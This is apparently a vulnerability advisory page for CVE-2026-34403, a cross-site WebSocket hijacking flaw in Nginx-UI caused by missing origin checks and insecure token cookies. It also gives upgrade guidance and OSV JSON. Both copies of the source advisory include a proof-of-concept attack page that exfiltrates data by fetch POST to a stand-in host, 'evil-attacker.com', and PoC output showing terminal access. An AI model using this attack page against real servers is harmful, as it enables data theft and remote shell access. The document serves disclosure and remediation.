CVE-2026-34403: Nginx-UI Cross-Site WebSocket Hijacking (CSWSH) Vulnerability

HIGH
Advisory Identifier: GHSA-78mf-482w-62qj
CVSS 8.1
CWE-352 CWE-1385
Published
Advisory Summary

CVE-2026-34403 is a HIGH (CVSS 8.1) cross-site websocket hijacking (cswsh) vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Nginx-UI libraries in the Go ecosystem. The issue involves cross-site websocket hijacking (cswsh) via missing origin validation on all websocket endpoints. Remediation is available by upgrading affected packages to version 1.9.10-0.20260316053337-1a9cd29a3082.

CVE-2026-34403 at a Glance

CVE Identifier CVE-2026-34403
GHSA Identifier GHSA-78mf-482w-62qj
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Nginx-UI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-34403

To remediate this vulnerability, upgrade all affected Nginx-UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: 1.9.10-0.20260316053337-1a9cd29a3082
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260316053337-1a9cd29a3082
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34403, inspect your project dependencies for Nginx-UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Nginx-UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20260316053337-1a9cd29a3082), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Nginx-UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page. ## Details ### Vulnerable Code Pattern Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration: ```go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true // Accepts ALL origins }, } ``` ### Cookie-Based Authentication The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts): ```typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite }) ``` The backend middleware accepts tokens from cookies (internal/middleware/middleware.go): ```go func getToken(c *gin.Context) (token string) { // ... if token, _ = c.Cookie("token"); token != "" { return token } return "" } ``` ### Affected Endpoints All WebSocket endpoints under the authenticated router group are vulnerable: | Endpoint | Impact | |---|---| | /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginx_log | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data | ## PoC ### Environment Setup ```yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config: ``` ### Attack Page (hosted on attacker-controlled domain) ```html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script> ``` ### Automated PoC Results ``` [+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}} [+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processing_status","data":{"index_scanning":false,...}} [+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...} [+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [*] Sent username: root [+] Output: 'Password: ' [+] Control test (no auth): Correctly rejected with HTTP 403 ``` ## Impact An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently: 1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. **Triggers system operations** -- including nginx reload/restart and binary upgrades The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage. ## Remediation 1. Implement proper origin validation in all WebSocket upgraders: ```go var upgrader = websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, } ``` 2. Set secure cookie attributes: ```typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true }) ``` 3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth. A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5

CVE-2026-34403 Affected Nginx-UI Versions

1 component(s)
Fixed Versions:
1.9.10-0.20260316053337-1a9cd29a3082
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
< 1.9.10-0.20260316053337-1a9cd29a3082
1.9.10-0.20260316053337-1a9cd29a3082

References

Frequently Asked Questions

What is CVE-2026-34403?
CVE-2026-34403 is a security vulnerability in Nginx-UI involving Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints under CWE-352: Cross-Site Request Forgery (CSRF).
Which Nginx-UI versions are affected?
Affected versions include releases prior to 1.9.10-0.20260316053337-1a9cd29a3082 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-34403?
Upgrading to 1.9.10-0.20260316053337-1a9cd29a3082 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 1.9.10-0.20260316053337-1a9cd29a3082. Upgrade your dependency to 1.9.10-0.20260316053337-1a9cd29a3082 or later.
What is the CVSS score of CVE-2026-34403?
CVE-2026-34403 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-34403?
CVE-2026-34403 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Go dependencies for CVE-2026-34403?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-78mf-482w-62qj",
  "modified" : "2026-04-27T16:20:34Z",
  "published" : "2026-04-21T15:13:01Z",
  "aliases" : [ "CVE-2026-34403" ],
  "summary" : "Nginx-UI: Cross-Site WebSocket Hijacking (CSWSH) via missing origin validation on all WebSocket endpoints",
  "details" : "## Summary\n\nAll WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.\n\n## Details\n\n### Vulnerable Code Pattern\n\nEvery WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:\n\n```go\n// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,\n// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,\n// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,\n// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go\nvar upgrader = websocket.Upgrader{\n    CheckOrigin: func(r *http.Request) bool {\n        return true // Accepts ALL origins\n    },\n}\n```\n\n### Cookie-Based Authentication\n\nThe Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):\n\n```typescript\nwatch(token, v => {\n    cookies.set('token', v, { maxAge: 86400 })  // No HttpOnly, no SameSite\n})\n```\n\nThe backend middleware accepts tokens from cookies (internal/middleware/middleware.go):\n\n```go\nfunc getToken(c *gin.Context) (token string) {\n    // ...\n    if token, _ = c.Cookie(\"token\"); token != \"\" {\n        return token\n    }\n    return \"\"\n}\n```\n\n### Affected Endpoints\n\nAll WebSocket endpoints under the authenticated router group are vulnerable:\n\n| Endpoint | Impact |\n|---|---|\n| /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration |\n| /api/events | Leak system processing events |\n| /api/analytic/intro | Leak CPU, memory, disk, network statistics |\n| /api/nginx_log | Read nginx log files (access/error logs) |\n| /api/pty | Interactive terminal access (RCE if OTP not enabled) |\n| /api/upgrade/perform | Trigger system binary upgrade |\n| /api/cluster/nodes/enabled | Leak and manipulate cluster node data |\n\n## PoC\n\n### Environment Setup\n\n```yaml\nservices:\n  nginx-ui:\n    image: uozi/nginx-ui:latest\n    ports:\n      - \"9000:80\"\n    volumes:\n      - nginx-ui-config:/etc/nginx-ui\nvolumes:\n  nginx-ui-config:\n```\n\n### Attack Page (hosted on attacker-controlled domain)\n\n```html\n<script>\n// Attacker page at http://evil-attacker.com\n// Victim must be logged into nginx-ui\nconst ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');\nws.onopen = () => console.log('CSWSH: Connected from malicious origin!');\nws.onmessage = (e) => {\n    console.log('Stolen data:', e.data);\n    fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});\n};\n</script>\n```\n\n### Automated PoC Results\n\n```\n[+] VULNERABLE! WebSocket connected from http://evil-attacker.com\n[+] Received: {\"stub_status_enabled\":false,\"running\":true,\"info\":{\"active\":0,...}}\n\n[+] VULNERABLE! Event stream from http://evil-attacker.com\n[+] Received: {\"event\":\"processing_status\",\"data\":{\"index_scanning\":false,...}}\n\n[+] VULNERABLE! Analytics from http://evil-attacker.com\n[+] Received: {\"avg_load\":{\"load1\":0.1,\"load5\":0.2},\"cpu_percent\":0.08,...}\n\n[+] CRITICAL: Terminal connected from http://evil-attacker.com!\n[+] Terminal output: 'eae7a76e3ef4 login: '\n[*] Sent username: root\n[+] Output: 'Password: '\n\n[+] Control test (no auth): Correctly rejected with HTTP 403\n```\n\n## Impact\n\nAn attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:\n\n1. **Steals sensitive server information** -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events\n2. **Reads nginx log files** -- potentially containing sensitive request data, IP addresses, and authentication tokens\n3. **Gains interactive terminal access** -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution\n4. **Triggers system operations** -- including nginx reload/restart and binary upgrades\n\nThe attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.\n\n## Remediation\n\n1. Implement proper origin validation in all WebSocket upgraders:\n\n```go\nvar upgrader = websocket.Upgrader{\n    CheckOrigin: func(r *http.Request) bool {\n        origin := r.Header.Get(\"Origin\")\n        return isAllowedOrigin(origin)\n    },\n}\n```\n\n2. Set secure cookie attributes:\n```typescript\ncookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })\n```\n\n3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.\n\nA patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.10-0.20260316053337-1a9cd29a3082"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-78mf-482w-62qj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34403"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1385", "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-21T15:13:01Z",
    "nvd_published_at" : "2026-04-20T21:16:36Z"
  }
}